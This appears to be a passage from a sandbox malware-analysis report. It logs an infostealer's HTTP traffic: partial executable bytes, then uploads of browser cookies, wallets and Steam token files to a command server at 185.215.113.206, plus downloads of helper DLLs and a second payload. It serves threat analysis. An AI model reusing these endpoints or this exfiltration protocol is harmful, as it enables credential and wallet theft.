00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 24 Dec 2024 11:40:32 GMTContent-Type: application/octet-streamContent-Length: 3228160Last-Modified: Tue, 24 Dec 2024 10:58:29 GMTConnection: keep-aliveETag: "676a93d5-314200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 50 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 31 00 00 04 00 00 9e c8 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c 30 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 30 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d4 05 00 00 00 90 06 00 00 06 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 70 69 6c 73 6f 76 66 00 90 2a 00 00 b0 06 00 00 82 2a 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6a 70 72 68 69 78 62 00 10 00 00 00 40 31 00 00 06 00 00 00 1a 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 31 00 00 22 00 00 00 20 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFCBKKFBAEHJKEBKFCBHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 39 44 35 30 44 33 41 30 41 32 44 31 38 33 35 36 37 39 37 33 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 2d 2d 0d 0a Data Ascii: ------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="hwid"E9D50D3A0A2D183567973------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="build"stok------CBFCBKKFBAEHJKEBKFCB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDHIDAEHCFHJJJJECAAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 62 38 66 36 32 33 37 39 65 66 34 66 64 39 65 61 38 66 33 31 36 30 33 39 32 65 30 34 64 38 62 31 32 39 30 34 61 32 30 66 65 65 37 61 34 62 34 64 61 61 33 64 39 63 36 65 32 35 66 64 33 38 30 39 38 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 2d 2d 0d 0a Data Ascii: ------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="token"985eeeb8f62379ef4fd9ea8f3160392e04d8b12904a20fee7a4b4daa3d9c6e25fd38098e------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="message"browsers------EHDHIDAEHCFHJJJJECAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCAFIIDHIDGHIECGDGIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 62 38 66 36 32 33 37 39 65 66 34 66 64 39 65 61 38 66 33 31 36 30 33 39 32 65 30 34 64 38 62 31 32 39 30 34 61 32 30 66 65 65 37 61 34 62 34 64 61 61 33 64 39 63 36 65 32 35 66 64 33 38 30 39 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 2d 2d 0d 0a Data Ascii: ------KFCAFIIDHIDGHIECGDGIContent-Disposition: form-data; name="token"985eeeb8f62379ef4fd9ea8f3160392e04d8b12904a20fee7a4b4daa3d9c6e25fd38098e------KFCAFIIDHIDGHIECGDGIContent-Disposition: form-data; name="message"plugins------KFCAFIIDHIDGHIECGDGI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHIDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 62 38 66 36 32 33 37 39 65 66 34 66 64 39 65 61 38 66 33 31 36 30 33 39 32 65 30 34 64 38 62 31 32 39 30 34 61 32 30 66 65 65 37 61 34 62 34 64 61 61 33 64 39 63 36 65 32 35 66 64 33 38 30 39 38 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 2d 2d 0d 0a Data Ascii: ------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="token"985eeeb8f62379ef4fd9ea8f3160392e04d8b12904a20fee7a4b4daa3d9c6e25fd38098e------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="message"fplugins------IJKKKFCFHCFIECBGDHID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFHIIDHJEBFBFIDAKFBHost: 185.215.113.206Content-Length: 7315Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJECFCGHIDGHIDHDHIEHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 62 38 66 36 32 33 37 39 65 66 34 66 64 39 65 61 38 66 33 31 36 30 33 39 32 65 30 34 64 38 62 31 32 39 30 34 61 32 30 66 65 65 37 61 34 62 34 64 61 61 33 64 39 63 36 65 32 35 66 64 33 38 30 39 38 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 2d 2d 0d 0a Data Ascii: ------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="token"985eeeb8f62379ef4fd9ea8f3160392e04d8b12904a20fee7a4b4daa3d9c6e25fd38098e------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DHJECFCGHIDGHIDHDHIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAFIDAECBGCBFHJEBGDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 62 38 66 36 32 33 37 39 65 66 34 66 64 39 65 61 38 66 33 31 36 30 33 39 32 65 30 34 64 38 62 31 32 39 30 34 61 32 30 66 65 65 37 61 34 62 34 64 61 61 33 64 39 63 36 65 32 35 66 64 33 38 30 39 38 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 2d 2d 0d 0a Data Ascii: ------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="token"985eeeb8f62379ef4fd9ea8f3160392e04d8b12904a20fee7a4b4daa3d9c6e25fd38098e------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="file"------CBAFIDAECBGCBFHJEBGD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKJKFBKKECFHJKEBKEHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 62 38 66 36 32 33 37 39 65 66 34 66 64 39 65 61 38 66 33 31 36 30 33 39 32 65 30 34 64 38 62 31 32 39 30 34 61 32 30 66 65 65 37 61 34 62 34 64 61 61 33 64 39 63 36 65 32 35 66 64 33 38 30 39 38 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 2d 2d 0d 0a Data Ascii: ------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="token"985eeeb8f62379ef4fd9ea8f3160392e04d8b12904a20fee7a4b4daa3d9c6e25fd38098e------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="file"------BKKJKFBKKECFHJKEBKEH--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAKFCGIJKJKFHIDHIIHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEBAAFCAFCBKFHJJJKKFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 62 38 66 36 32 33 37 39 65 66 34 66 64 39 65 61 38 66 33 31 36 30 33 39 32 65 30 34 64 38 62 31 32 39 30 34 61 32 30 66 65 65 37 61 34 62 34 64 61 61 33 64 39 63 36 65 32 35 66 64 33 38 30 39 38 65 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 2d 2d 0d 0a Data Ascii: ------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="token"985eeeb8f62379ef4fd9ea8f3160392e04d8b12904a20fee7a4b4daa3d9c6e25fd38098e------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="message"wallets------IEBAAFCAFCBKFHJJJKKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFCBGCGIJKJKECAKEGCHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 62 38 66 36 32 33 37 39 65 66 34 66 64 39 65 61 38 66 33 31 36 30 33 39 32 65 30 34 64 38 62 31 32 39 30 34 61 32 30 66 65 65 37 61 34 62 34 64 61 61 33 64 39 63 36 65 32 35 66 64 33 38 30 39 38 65 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 2d 2d 0d 0a Data Ascii: ------DBFCBGCGIJKJKECAKEGCContent-Disposition: form-data; name="token"985eeeb8f62379ef4fd9ea8f3160392e04d8b12904a20fee7a4b4daa3d9c6e25fd38098e------DBFCBGCGIJKJKECAKEGCContent-Disposition: form-data; name="message"files------DBFCBGCGIJKJKECAKEGC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBFHDHJKKJDHJJJJKEGHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 62 38 66 36 32 33 37 39 65 66 34 66 64 39 65 61 38 66 33 31 36 30 33 39 32 65 30 34 64 38 62 31 32 39 30 34 61 32 30 66 65 65 37 61 34 62 34 64 61 61 33 64 39 63 36 65 32 35 66 64 33 38 30 39 38 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 2d 2d 0d 0a Data Ascii: ------GDBFHDHJKKJDHJJJJKEGContent-Disposition: form-data; name="token"985eeeb8f62379ef4fd9ea8f3160392e04d8b12904a20fee7a4b4daa3d9c6e25fd38098e------GDBFHDHJKKJDHJJJJKEGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GDBFHDHJKKJDHJJJJKEGContent-Disposition: form-data; name="file"------GDBFHDHJKKJDHJJJJKEG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGCFHIDAKECFHIEBFCGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 62 38 66 36 32 33 37 39 65 66 34 66 64 39 65 61 38 66 33 31 36 30 33 39 32 65 30 34 64 38 62 31 32 39 30 34 61 32 30 66 65 65 37 61 34 62 34 64 61 61 33 64 39 63 36 65 32 35 66 64 33 38 30 39 38 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 2d 2d 0d 0a Data Ascii: ------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="token"985eeeb8f62379ef4fd9ea8f3160392e04d8b12904a20fee7a4b4daa3d9c6e25fd38098e------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="message"ybncbhylepme------HDGCFHIDAKECFHIEBFCG--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKJKJDGCGDBGDHIJKJEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 62 38 66 36 32 33 37 39 65 66 34 66 64 39 65 61 38 66 33 31 36 30 33 39 32 65 30 34 64 38 62 31 32 39 30 34 61 32 30 66 65 65 37 61 34 62 34 64 61 61 33 64 39 63 36 65 32 35 66 64 33 38 30 39 38 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 